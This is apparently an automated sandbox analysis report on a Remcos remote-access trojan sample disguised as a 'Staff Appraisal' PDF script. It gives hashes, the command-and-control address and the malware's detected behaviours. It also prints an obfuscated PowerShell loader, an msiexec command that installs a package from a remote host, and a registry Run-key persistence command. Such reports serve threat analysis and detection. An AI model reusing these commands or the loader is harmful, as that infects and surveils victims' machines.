remcos | cfa65056a9accc2678480771e25891733787cf1f0ac46727e2663ca8383e3795

Analysis

max time kernel
149s
max time network
148s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
21/04/2026, 12:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Staff Appraisal_pdf.vbs
Size 71KB
Sample260421-pnf3baex3m
SHA256 cfa65056a9accc2678480771e25891733787cf1f0ac46727e2663ca8383e3795
MD5 117e6e365b5e5d35673208cf39b288de
SHA1 7065f8865d53e9104f4781d85ef51bbe9f2ab6c2
SHA512 c196820a1ce2373308c1389bb97c5176fd9246429b3b4400ae764379b579ce7bd10019638e5ad3678abd70591f9825c2f0f9dbb86720da5a91a4ecd16768d7a6
SSDEEP 1536:y+oz+wcXnpVFuVcszvjNfj6cKhA6wQ9BuDImPkVtquF1R6:yLBcZ2VxzJ6/y6wmusmPvuFe
TLSH
T125635C76DD640B195E8B2BAEEC80A951D279C265312210E1FFDC539C900F9BCBBFD609
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

remotehost discovery remcos persistence privilege_escalation rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

95.211.165.137:2404

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-BSQI5D
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Badlisted process makes network request 11 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2700	WScript.exe
3	2700	WScript.exe
4	2920	powershell.exe
5	2920	powershell.exe
6	3388	msiexec.exe
7	3388	msiexec.exe
8	3388	msiexec.exe
9	3388	msiexec.exe
10	3388	msiexec.exe
12	3388	msiexec.exe
13	3388	msiexec.exe

Use of msiexec (install) with remote resource 3 IoCs

pid	Process
2228	msiexec.exe
3388	msiexec.exe
3268	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000\Software\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Chaussfnbrolgning% -windowstyle 2 $Snurrevodsspillene=(.'gp' 'HKCU:\\Software\\Joculator\\').'Sprinkelvrkets';%Chaussfnbrolgning% ($Snurrevodsspillene)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3388	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4212	powershell.exe
3388	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 3 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
2228	msiexec.exe
3388	msiexec.exe
3268	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1628	ping.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1628	ping.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2920	powershell.exe
2920	powershell.exe
4212	powershell.exe
4212	powershell.exe
4212	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4212	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2920	powershell.exe
Token: SeDebugPrivilege	4212	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2700 wrote to memory of 1628	2700	WScript.exe	80
PID 2700 wrote to memory of 2920	2700	WScript.exe	82
PID 4212 wrote to memory of 2228	4212	powershell.exe	86
PID 4212 wrote to memory of 3388	4212	powershell.exe	87
PID 4212 wrote to memory of 3388	4212	powershell.exe	87
PID 3388 wrote to memory of 3268	3388	msiexec.exe	88
PID 3388 wrote to memory of 4352	3388	msiexec.exe	89
PID 4352 wrote to memory of 1296	4352	cmd.exe	91

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Staff Appraisal_pdf.vbs"
1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2700
- C:\Windows\System32\ping.exe
  ping Bera_6637.6637.6637.657e
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:1628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "sv 'inapprehensive4';$kleskabets=4;$kbmandsgaard=55;function skindd ($feudalizingndbydenderugerstandard,$feudalizingndbydende) {$pag=gallstones('Famously Diasrammen bakteriebombe Majliss Sagos Upcoast UU [vvvviPPP,nUUUUtnnnn]ggg $TTTTfs,ssekkkkuc ccd- --auuu lV.VViJJJJzbbbbiHHHHn ???g^^^^n aaadpp,pbkkkkyXX Xd ***e HH n////dkkkke%%%%r####u ***g ccce vv rAAA,s OO,tlllla~~~~n ===dw,wwa,rrrr====d.mmm TTTT-F FFb,dddxS SSoL.LLrkkkk uuuu[yyyyi||||nL.LLthhhh] vvv$IIIIf::::e~~~~uT TTdzzzzaOO,OlcccciEEEEz%%%%iKKKKn****g% %%nEEEEdIIIIbNNNNygg gd ___eggggn < <dA AAeiiii ');Alvers ($pag)}function Alvers ($possessionalism) {&(($theologizer)) ($possessionalism)}function gallstones ($spied) { $feudalizing=$kleskabets+$kbmandsgaard; do {$reharm+=$spied[$feudalizing];$feudalizing+=5} until (!$spied[$feudalizing])$reharm}Function Romana238 ($spied,$roupiest60=0){$accompanyist=gallstones('Schenkelvigningerne Oomycetes Reconceptualising Genit K&&&&$<<<<s====c::::rTTTTi!! !p Z Zt ooo:vvvvuWWWWp VVVa hhha****v!!.!ippppsTTTTe CCClhhhhi wwwg %%%=<<<<[iii.CUU Uo') ;$accompanyist+=gallstones('Triphthongal Instinktets snedkre Tilsmil Fortrstning Gu____n^^^^v HHHeGGGGrWWWWt II]AAAA: ? ?:cc cFEEEErPPPPoPPPPm MMMBccc.ammmms^^^^eLLLL6YYYY4????S hhhtggg r =.=immmmn;;;;gYYYY( CC.$sssssRRRRpffffitttte .AAdll l)');Alvers ($accompanyist);For($feudalizing=0; $upaaviselig[$feudalizing] -ne $null; $feudalizing++){$upaaviselig[$feudalizing] = skindd $upaaviselig[$feudalizing] $varegrupper[$feudalizing%18]}Alvers (gallstones 'Swarmed Tudedes Caliphship Pleuropterygii terapiassiste----$oooosv vvc<<< rQQ Qifff.pTT Tt bbb:II.InaaaauqqqqlWWW lssssi.iiibiiiiiQQQQcCCCCi OOOtu uuywww =aaaa[ ,bbT :::e |||x jjjt%%%%.TTTTE ,<<nI IIcSSS.oq,qqd hhhi mmmnIIIIgWWWW] ===:zzzz:UUUUA### S****C lllIooo,IQQQQ.vvvvGqqqqeMMMMtllllS ,pptc,ccr^^^^ixx xn- --gYYYY(++++$????u////p :::a YYa+ ++vyyy i cccs;;;;eMMMMlWWWWioooogoooo)');if ($roupiest60) { Alvers $nullibicity}else {;$nullibicity}}$varegrupper=@(80,101,114,115,112,101,107,116,105,118,112,108,97,110,101,114,110,101);$theologizer=gallstones 'Sonograms Fabrikationer Patios Raastofindvindingerne su +++icccce****x';$natalities=Romana238 'ZUtCU1gyAhoNGQcfQSAxUl9VflVJUycMBUJdTVAUV1peUhwTalRGSl5VQlQuExMHDkFXQl9VYFRCQlAjAgYMEB8UTl9RS0BV';$tatarerne=Romana238 'OBEGAwNfRFsEEwQDFQMMHw8XPAwZXRMKBlodBF8bERgAFxwQI0o3HRQAHQYNHxUeDwsWXB4DPQ==';$elitetroppernes=Romana238 'bg==';$paritetsbit='\Ihukommendes.Juv';Romana238 'dAIeHBIEB04HGQYFFQcEBgtYdAAcBUoEGwQNFwQNSkoVExwMJAAGABIMHw==' 1;Romana238 'dAIeHBIEB04CHxwAFgsAFlNBJAQGEgIAGRoMWAMcDQcRWkoAPAwGFgQXBAQZEwICBB1M' 1;Romana238 'CysXB142DgYfHxMJMQEMHBooMQsTFBUXNk5TJRUPFBwMBhc1IgoGHBMKB0laRkde' 1;$tatarerne=$killweed[0];$vaporware=(Romana238 'dAIeHBIEB04PFx4YAB0MFAEWJAAAFgRYJREeWz8OCwsGBk4rNRFcJBUHKBgAEx4Y');Alvers ($vaporware);Romana238 'dAMTHQQEGB0PGQMYBBwABkAtNQQWFgIWMC8nEwRCKRoRAjwAIRAXAAQtDhUNEwIxVV44T0oLMRETHxkRAhEa' 1;$reeksporterings=Romana238 'FAoFHRwKChAvHxwJ';$futurumens=Romana238 'dAMTHQQEGB0PGQMYBBwABkBBIgAXGAMVBAYdEwIFDwkWXCcLJgoZFlhBHxUdFwIJEwAAXkoEJREdHx8CBAEaXw==';$autologous=$novitiate;Romana238 'dAIeHBIEB04CGR4YAAARFAEXMhcHFANYQyAMBQRBMQ8RGk5BMRAGHBwKDBscBVk=' 1;while (!$kontantforbrugs) {Romana238 'dAIeHBIEB047ExkBEQEXBgEJIlhWABMXCgQLGRcf' 1;Alvers $futurumens;Romana238 'AwkXFgBNX10=' 1;Romana238 'dAIeHBIEB04CGR4YAAARFAEXMhcHFANYQyAMBQRBMQ8RGk5BMRAGHBwKDBscBVk=' 1 ;Romana238 'dAIeHBIEB04FDxsHBBwMFgoAIgsXAE1BDBgGFBEAWwsGBgEGMRcCEhwAGF9CU1QHCAIJBQsANEsRHAULHw==' 1;$tatarerne=$killweed[$lykkeriddernes]}$florister=259911;$egnethed=20324;Romana238 'dAIeHBIEB04MFQQeDgkAHAcGbQIRU1QEHgAGGh8LDhsW' 1;Romana238 'dAIeHBIEB04LFxwZEhoXEwoAIlgpMB8LHREbAi1WWygXHQMnMRYXRUQ2HwYAGBdERQsGBhwKNwAcGhNM' 1;Romana238 'dAIeHBIEB04HExgeFFM+JgsdJEs3HRMKDx0HES1WWy82MScsfiIXByMRGR0HEVhIAw8JBx0RIgQWFgJM' 1;Romana238 'dAIeHBIEB04ZBB8aBAAQFxpYdAsXGwIQRQccFAMYEwcLFUZBNgkdARkWHxEbWlQJBgAABgYANEw=' 1;Alvers $provenuet;"
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2920

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "sv 'inapprehensive4';$kleskabets=4;$kbmandsgaard=55;function skindd ($feudalizingndbydenderugerstandard,$feudalizingndbydende) {$pag=gallstones('Famously Diasrammen bakteriebombe Majliss Sagos Upcoast UU [vvvviPPP,nUUUUtnnnn]ggg $TTTTfs,ssekkkkuc ccd- --auuu lV.VViJJJJzbbbbiHHHHn ???g^^^^n aaadpp,pbkkkkyXX Xd ***e HH n////dkkkke%%%%r####u ***g ccce vv rAAA,s OO,tlllla~~~~n ===dw,wwa,rrrr====d.mmm TTTT-F FFb,dddxS SSoL.LLrkkkk uuuu[yyyyi||||nL.LLthhhh] vvv$IIIIf::::e~~~~uT TTdzzzzaOO,OlcccciEEEEz%%%%iKKKKn****g% %%nEEEEdIIIIbNNNNygg gd ___eggggn < <dA AAeiiii ');Alvers ($pag)}function Alvers ($possessionalism) {&(($theologizer)) ($possessionalism)}function gallstones ($spied) { $feudalizing=$kleskabets+$kbmandsgaard; do {$reharm+=$spied[$feudalizing];$feudalizing+=5} until (!$spied[$feudalizing])$reharm}Function Romana238 ($spied,$roupiest60=0){$accompanyist=gallstones('Schenkelvigningerne Oomycetes Reconceptualising Genit K&&&&$<<<<s====c::::rTTTTi!! !p Z Zt ooo:vvvvuWWWWp VVVa hhha****v!!.!ippppsTTTTe CCClhhhhi wwwg %%%=<<<<[iii.CUU Uo') ;$accompanyist+=gallstones('Triphthongal Instinktets snedkre Tilsmil Fortrstning Gu____n^^^^v HHHeGGGGrWWWWt II]AAAA: ? ?:cc cFEEEErPPPPoPPPPm MMMBccc.ammmms^^^^eLLLL6YYYY4????S hhhtggg r =.=immmmn;;;;gYYYY( CC.$sssssRRRRpffffitttte .AAdll l)');Alvers ($accompanyist);For($feudalizing=0; $upaaviselig[$feudalizing] -ne $null; $feudalizing++){$upaaviselig[$feudalizing] = skindd $upaaviselig[$feudalizing] $varegrupper[$feudalizing%18]}Alvers (gallstones 'Swarmed Tudedes Caliphship Pleuropterygii terapiassiste----$oooosv vvc<<< rQQ Qifff.pTT Tt bbb:II.InaaaauqqqqlWWW lssssi.iiibiiiiiQQQQcCCCCi OOOtu uuywww =aaaa[ ,bbT :::e |||x jjjt%%%%.TTTTE ,<<nI IIcSSS.oq,qqd hhhi mmmnIIIIgWWWW] ===:zzzz:UUUUA### S****C lllIooo,IQQQQ.vvvvGqqqqeMMMMtllllS ,pptc,ccr^^^^ixx xn- --gYYYY(++++$????u////p :::a YYa+ ++vyyy i cccs;;;;eMMMMlWWWWioooogoooo)');if ($roupiest60) { Alvers $nullibicity}else {;$nullibicity}}$varegrupper=@(80,101,114,115,112,101,107,116,105,118,112,108,97,110,101,114,110,101);$theologizer=gallstones 'Sonograms Fabrikationer Patios Raastofindvindingerne su +++icccce****x';$natalities=Romana238 'ZUtCU1gyAhoNGQcfQSAxUl9VflVJUycMBUJdTVAUV1peUhwTalRGSl5VQlQuExMHDkFXQl9VYFRCQlAjAgYMEB8UTl9RS0BV';$tatarerne=Romana238 'OBEGAwNfRFsEEwQDFQMMHw8XPAwZXRMKBlodBF8bERgAFxwQI0o3HRQAHQYNHxUeDwsWXB4DPQ==';$elitetroppernes=Romana238 'bg==';$paritetsbit='\Ihukommendes.Juv';Romana238 'dAIeHBIEB04HGQYFFQcEBgtYdAAcBUoEGwQNFwQNSkoVExwMJAAGABIMHw==' 1;Romana238 'dAIeHBIEB04CHxwAFgsAFlNBJAQGEgIAGRoMWAMcDQcRWkoAPAwGFgQXBAQZEwICBB1M' 1;Romana238 'CysXB142DgYfHxMJMQEMHBooMQsTFBUXNk5TJRUPFBwMBhc1IgoGHBMKB0laRkde' 1;$tatarerne=$killweed[0];$vaporware=(Romana238 'dAIeHBIEB04PFx4YAB0MFAEWJAAAFgRYJREeWz8OCwsGBk4rNRFcJBUHKBgAEx4Y');Alvers ($vaporware);Romana238 'dAMTHQQEGB0PGQMYBBwABkAtNQQWFgIWMC8nEwRCKRoRAjwAIRAXAAQtDhUNEwIxVV44T0oLMRETHxkRAhEa' 1;$reeksporterings=Romana238 'FAoFHRwKChAvHxwJ';$futurumens=Romana238 'dAMTHQQEGB0PGQMYBBwABkBBIgAXGAMVBAYdEwIFDwkWXCcLJgoZFlhBHxUdFwIJEwAAXkoEJREdHx8CBAEaXw==';$autologous=$novitiate;Romana238 'dAIeHBIEB04CGR4YAAARFAEXMhcHFANYQyAMBQRBMQ8RGk5BMRAGHBwKDBscBVk=' 1;while (!$kontantforbrugs) {Romana238 'dAIeHBIEB047ExkBEQEXBgEJIlhWABMXCgQLGRcf' 1;Alvers $futurumens;Romana238 'AwkXFgBNX10=' 1;Romana238 'dAIeHBIEB04CGR4YAAARFAEXMhcHFANYQyAMBQRBMQ8RGk5BMRAGHBwKDBscBVk=' 1 ;Romana238 'dAIeHBIEB04FDxsHBBwMFgoAIgsXAE1BDBgGFBEAWwsGBgEGMRcCEhwAGF9CU1QHCAIJBQsANEsRHAULHw==' 1;$tatarerne=$killweed[$lykkeriddernes]}$florister=259911;$egnethed=20324;Romana238 'dAIeHBIEB04MFQQeDgkAHAcGbQIRU1QEHgAGGh8LDhsW' 1;Romana238 'dAIeHBIEB04LFxwZEhoXEwoAIlgpMB8LHREbAi1WWygXHQMnMRYXRUQ2HwYAGBdERQsGBhwKNwAcGhNM' 1;Romana238 'dAIeHBIEB04HExgeFFM+JgsdJEs3HRMKDx0HES1WWy82MScsfiIXByMRGR0HEVhIAw8JBx0RIgQWFgJM' 1;Romana238 'dAIeHBIEB04ZBB8aBAAQFxpYdAsXGwIQRQccFAMYEwcLFUZBNgkdARkWHxEbWlQJBgAABgYANEw=' 1;Alvers $provenuet;"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4212
- C:\Windows\SysWOW64\msiexec.exe
  "C:\WINDOWS\syswow64\msiexec.exe" /i https://Schalburgtagers/Hjaktiv.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:2228
- C:\Windows\SysWOW64\msiexec.exe
  "C:\WINDOWS\syswow64\msiexec.exe" /i https://Schalburgtagers/Hjaktiv.msi
  2⤵
  - Badlisted process makes network request
  - Use of msiexec (install) with remote resource
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Event Triggered Execution: Installer Packages
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3388
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\WINDOWS\syswow64\msiexec.exe" /i https://Schalburgtagers/Hjaktiv.msi
    3⤵
    - Use of msiexec (install) with remote resource
    - Event Triggered Execution: Installer Packages
    PID:3268
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Startup key" /t REG_EXPAND_SZ /d "%Chaussfnbrolgning% -windowstyle 2 $Snurrevodsspillene=(.'gp' 'HKCU:\Software\Joculator\').'Sprinkelvrkets';%Chaussfnbrolgning% ($Snurrevodsspillene)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4352
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Startup key" /t REG_EXPAND_SZ /d "%Chaussfnbrolgning% -windowstyle 2 $Snurrevodsspillene=(.'gp' 'HKCU:\Software\Joculator\').'Sprinkelvrkets';%Chaussfnbrolgning% ($Snurrevodsspillene)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:1296

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

Modify Registry

T1112

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 d2798df470a71073e616ff54e7db24c40635f07c15fdacc463c3e8c931e1a341
MD5 aaed13863ab38600c24e5ed7f18f0a28
SHA1 9ca5a8ead7bc29f4af3c7b52ae55df020443370b
SHA512 3d3cc08572a2db6e30dd0501ce19595f920ff1cfdd4611680665bceae3aac8e7c228b593ba067c0fd53986115d4ca80340bb434d3dc91bf7ad3e773580e1a2f1
SSDEEP 1536:KflJd+h4iUxTYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3BV3CNBQkj2zMrxM:KflJd+qiUTYkzvHgfKQaUpeE711kDa5L
TLSH
T1B9538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0f87f1cf57f5c29713b90eb32a68572e44b4f0638c21dd7002526c037d0d78eb
MD5 446c3266fe2d269282887afb9e0953c9
SHA1 3a856b7d606d3606dc5dffa8f4065e9c920ed7ab
SHA512 e1e7a3c2e1fafa33a6bcbac6404615eafe7059c665887c49830152858087145a595e4a3afa87eceff7c79dd124a2818110be591b93e083e7f7f9b4e942728c2e
TLSH
T17A218633B3ACC134C8D9117A108CAD01B2B1C3C7449ECE8B6B84C508A57F98ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_rlfj3gtn.qh2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rlfj3gtn.qh2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

Ihukommendes.Juv

Path C:\Users\Admin\AppData\Roaming\Ihukommendes.Juv
Size 364KB
SHA256 6f6b6a20ae660f5273551449be66fbd346c95919845ac12e34a427c4abc9f64e
MD5 8b7cdc126b9627c50aabd73323a2ea10
SHA1 cde7a452f5d1332d11c8e3db37f681a38deca8dd
SHA512 2790a4b497cb47ed6e9849bcc81fe9a3ab34b0b78935f2f6c3a2bacfba4779d4022a1e4569fe8b5dc1c73fb30d58285bca03315eaeb905193a90211645f31fd0
SSDEEP 6144:ICzgCPEiU4GEHB47trN2XgAn43gPqd55iK22tHOvCedVpnBYfDR:ndimh4VG4Qid5srRv/VpnBaR
TLSH
T1AF844630E86E1ABC88DA3D20624B154FCC7C758F38FF85B7AD57243EA094215366D69B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2700-3-0x0000021DCE7C0000-0x0000021DCE7CC000-memory.dmp

Download

memory/2700-0-0x0000021DCE7C0000-0x0000021DCE7CC000-memory.dmp

Download

memory/2920-26-0x000002599A8B0000-0x000002599A8BC000-memory.dmp

Download

memory/2920-12-0x00000259B3070000-0x00000259B3080000-memory.dmp

Download

memory/2920-15-0x000002599AA40000-0x000002599AA52000-memory.dmp

Download

memory/2920-16-0x00000259B3070000-0x00000259B3080000-memory.dmp

Download

memory/2920-13-0x00000259B3070000-0x00000259B3080000-memory.dmp

Download

memory/2920-4-0x00000259B3070000-0x00000259B3080000-memory.dmp

Download

memory/2920-5-0x00000259B3000000-0x00000259B3022000-memory.dmp

Download

memory/2920-14-0x000002599A8B0000-0x000002599A8BC000-memory.dmp

Download

memory/3388-73-0x0000000001230000-0x0000000002547000-memory.dmp

Download

memory/3388-67-0x0000000001230000-0x0000000002547000-memory.dmp

Download

memory/3388-54-0x0000000001230000-0x0000000002547000-memory.dmp

Download

memory/3388-71-0x0000000001230000-0x0000000002547000-memory.dmp

Download

memory/3388-75-0x0000000001230000-0x0000000002547000-memory.dmp

Download

memory/3388-55-0x0000000004160000-0x00000000041DA000-memory.dmp

Download

memory/3388-77-0x0000000001230000-0x0000000002547000-memory.dmp

Download

memory/4212-41-0x00000000067B0000-0x00000000067CE000-memory.dmp

Download

memory/4212-45-0x0000000006D00000-0x0000000006D1A000-memory.dmp

Download

memory/4212-46-0x0000000007A80000-0x0000000007B16000-memory.dmp

Download

memory/4212-47-0x00000000077B0000-0x00000000077D2000-memory.dmp

Download

memory/4212-48-0x0000000008B30000-0x00000000090D6000-memory.dmp

Download

memory/4212-44-0x0000000007F00000-0x000000000857A000-memory.dmp

Download

memory/4212-50-0x00000000090E0000-0x000000000B0CB000-memory.dmp

Download

memory/4212-51-0x0000000006580000-0x00000000065E4000-memory.dmp

Download

memory/4212-42-0x00000000067F0000-0x000000000683C000-memory.dmp

Download

memory/4212-39-0x0000000006220000-0x0000000006577000-memory.dmp

Download

memory/4212-32-0x0000000005FF0000-0x0000000006056000-memory.dmp

Download

memory/4212-31-0x0000000005F80000-0x0000000005FE6000-memory.dmp

Download

memory/4212-30-0x0000000005780000-0x00000000057A2000-memory.dmp

Download

memory/4212-29-0x0000000005950000-0x0000000005F7A000-memory.dmp

Download

memory/4212-28-0x0000000005290000-0x00000000052C6000-memory.dmp

Download